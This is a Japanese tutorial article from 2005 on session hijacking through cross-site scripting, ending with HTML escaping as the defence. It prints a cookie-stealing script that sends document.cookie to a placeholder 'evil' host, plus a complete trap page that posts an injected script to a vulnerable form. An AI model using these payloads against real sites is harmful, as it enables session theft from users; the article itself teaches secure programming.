TOP設計・移行・活用> クロスサイトスクリプティング
脆弱なWebアプリケーション
脆弱なWebアプリケーション

第4回:セッション乗っ取り
著者:セントラル・コンピュータ・サービス  長谷川 武
2005/5/18
前のページ  1  2  3   4  次のページ
クロスサイトスクリプティング

   非SSL通信にセッションIDが暴露されないよう注意を払うことにより、ネットワーク盗聴によるセッションIDの傍受を避けることはできるが、これだけで傍受対策が十分であるとはいえない。

   たとえSSLを使っていても、JavaScriptを使ってセッションIDを盗み出してしまうという
クロスサイトスクリプティング攻撃の可能性が残っているからだ。
クロスサイトスクリプティング攻撃が成功するわけ

   クロスサイトスクリプティングは、Webアプリケーションがブラウザに送り出すHTMLソースの中に攻撃者の手による悪意のJavaScriptプログラムを混入し、それを被害者ユーザのブラウザ上で動作させる攻撃である。

クロスサイトスクリプティング
図5:クロスサイトスクリプティング

   他者のJavaScriptが入り込んでくると困ったことが起こる。それは、Webページ上のフォーム項目の値やサーバとやり取りしているHTTP Cookieの値を読み取って、第三者のWebサーバに横流しするといったことが起こり得るからだ。例えば、次のJavaScriptの断片は、現在のページと関連付けられたHTTP Cookieの値をevilサイトに横流ししてしまうものだ。

<script>document.location="http://evil/bad?"+document.cookie;</script>

   もしCookieにセッションIDの値が含まれていれば、それが攻撃者に知られてしまう。

   こうした<script>タグをページに埋め込むのは簡単だ。例えばユーザ入力を確認表示する場面を狙う。ユーザが入力した住所のデータを下記のように受け渡す場合を考えてみよう。

page?address=東京都港区…

   そして、受け取った住所データを下記のように表示し、ユーザに確認を求めるページを表示する。

あなたの住所 東京都港区…

   このようなWebアプリケーションで、エコーバックされるパラメータ「address」に対し、下記のようにスクリプトを値として与えてやるのである。

page?address=<script>…</script>

   ブラウザに送られるHTMLソース上には、次のようにスクリプトが貼り付けられることになる。

あなたの住所 <script>…</script>

   その結果、スクリプトが実行されWebサイト運営者がまったく意図しない動きをすることになる。上記の、スクリプトを値として送り込むハイパーリンクの罠を被害者ユーザに踏ませれば、攻撃者はそのユーザが現在使っているセッションIDの値を盗み出すことができる。

   次に示すのはクロスサイトスクリプティング攻撃の罠のページの例だ。

リスト1:クロスサイトスクリプティング攻撃の罠のページ
<html><head>
<script>function do_it(){document.f.submit();}</script>
</head>
<body><b>罠のページ</b><br>



<form name="f" method="post" action="http://victim/vulnerable.jsp">
<input type="hidden"
name="input_item"
value='"><script>
document.location="http://evil/bad.php?c="+document.cookie
</script>'>



</form>

<a href="javascript:do_it();">クリックしたくなるリンク</a>

</body></html>

   罠のページがうまく作られていると、被害者が罠に引っかかったと気づく間もなく、その背後の自動プログラムによりセッション乗っ取りが起こり得る。

クロスサイトによるセッション乗っ取りシナリオ
図6:クロスサイトによるセッション乗っ取りシナリオ
(画像をクリックすると別ウィンドウに拡大図を表示します)


データの安全化措置

   クロスサイトスクリプティング攻撃を防ぐには、入力データをそのままページに埋め込まず、タグの機能を持つ5つの特殊記号を表2のように置き換える安全化措置を施せばよいことがわかっている。

入力データ HTMLソース上の表記
< &lt;
> &gt;
" &quot;
' &#39;
& &amp;

表2:特殊記号の置き換え


   「&lt;」、「&gt;」のようにコード化されたHTMLソース上の表記はブラウザにより元の「<」「>」などの特殊記号として画面に描画されるが、これらの記号はタグとしての機能を持たない。

前のページ  1  2  3   4  次のページ


セントラル・コンピュータ・サービス株式会社
著者プロフィール
セントラル・コンピュータ・サービス株式会社  長谷川 武
シニア・セキュリティ・スペシャリスト、IPA 非常勤研究員。2002年にはIPA ISEC『セキュア・プログラミング講座』の制作ディレクターをつとめた。これを契機に、現在は勤務先とそのパートナー企業を通じてセキュアプログラミングセミナー/実習/スキル評価テストといった教育サービスを「TRUSNET(R)アカデミー」として提供している。問い合わせE-mail:info@trusnet.com


INDEX
第4回:セッション乗っ取り
  はじめに
  セッションIDへの攻撃
クロスサイトスクリプティング
  後を絶たないクロスサイト脆弱性